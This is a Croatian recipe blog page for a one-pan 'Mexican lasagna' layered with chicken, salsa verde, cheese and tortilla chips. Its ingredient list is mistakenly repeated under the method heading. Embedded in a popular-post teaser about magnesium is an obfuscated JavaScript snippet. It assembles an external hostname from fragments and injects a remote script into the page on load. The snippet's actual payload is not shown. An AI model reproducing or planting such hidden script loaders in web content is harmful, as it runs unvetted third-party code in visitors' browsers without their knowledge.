MEKSIČKE LAZANJE - JEDNA TAVA I GOMILA ZAČINA





Meksičke lazanje - jedna tava i gomila začina




Ovo ukusno zapečeno jelo nadahnuto je lazanjama, odnosno njihovim slojevima, a rezultat miriše na Meksiko i zapravo je je “križanac” lazanja i nachosa jer se umjesto tjestenine koristi hrskavi tortilja čips.




Meksičke lazanje 


Sastojci:

  • 1 žlica maslaca ili maslinova ulja
  • 1 žuti luk, nasjeckan
  • 2 poblano paprike, nasjeckane
  • 170 g krem sira (sobne temperature)
  • 120 ml grčkog jogurta ili kiselog vrhnja
  • 1 čajna žličica čili praha
  • 1 čajna žličica dimljene paprike
  • 1 čajna žličica kumina
  • sol, po ukusu
  • papar, po ukusu
  • 480 ml salse verde
  • 300 g kuhane i usitnjene piletine
  • 200 g naribanog sira, po izboru
  • 100–150 g tortilja čipsa
  • avokado, svježi korijander, mladi luk i/ili bosiljak, po želji, za posluživanje




Priprema:

  • 1 žlica maslaca ili maslinova ulja
  • 1 žuti luk, nasjeckan
  • 2 poblano paprike, nasjeckane
  • 170 g krem sira (sobne temperature)
  • 120 ml grčkog jogurta ili kiselog vrhnja
  • 1 čajna žličica čili praha
  • 1 čajna žličica dimljene paprike
  • 1 čajna žličica kumina
  • sol, po ukusu
  • papar, po ukusu
  • 480 ml salse verde
  • 300 g kuhane i usitnjene piletine
  • 200 g naribanog sira, po izboru
  • 100–150 g tortilja čipsa
  • avokado, svježi korijander, mladi luk i/ili bosiljak, po želji, za posluživanje



Priprema:

  1. Zagrijte maslac ili ulje u većoj tavi koja može ići u pećnicu. Dodajte nasjeckani luk i poblano paprike, posolite i popaprite. Pirjajte oko 5 minuta dok povrće ne omekša. Maknite s vatre.
  2. U zdjeli miješajte krem sir i grčki jogurt (ili kiselo vrhnje) dok ne dobijete glatku smjesu. Dodajte pirjani luk i paprike, zatim čili, dimljenu papriku i kumin. Sve dobro sjedinite, pa umiješajte salsu verde i usitnjenu piletinu.
  3. U istoj tavi u kojoj ste pirjali povrće počnite slagati lazanje: prvo sloj piletine u umaku, zatim sloj naribanog sira pa sloj tortilja čipsa. Ponovite postupak s ostalim sastojcima. Završite slojem piletine, prelijte ostatkom salse verde i pospite preostalim sirom.
  4. Pecite u prethodno zagrijanoj pećnici na 190 stupnjeva oko 25–30 minuta, dok se sir ne otopi i lijepo ne zapeče.
  5. Poslužite odmah, uz dodatke po želji: zgnječeni avokado s malo limete i soli, svježi korijander, mladi luk ili bosiljak. Na kraju dodajte još malo soka limete i prstohvat morske soli.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više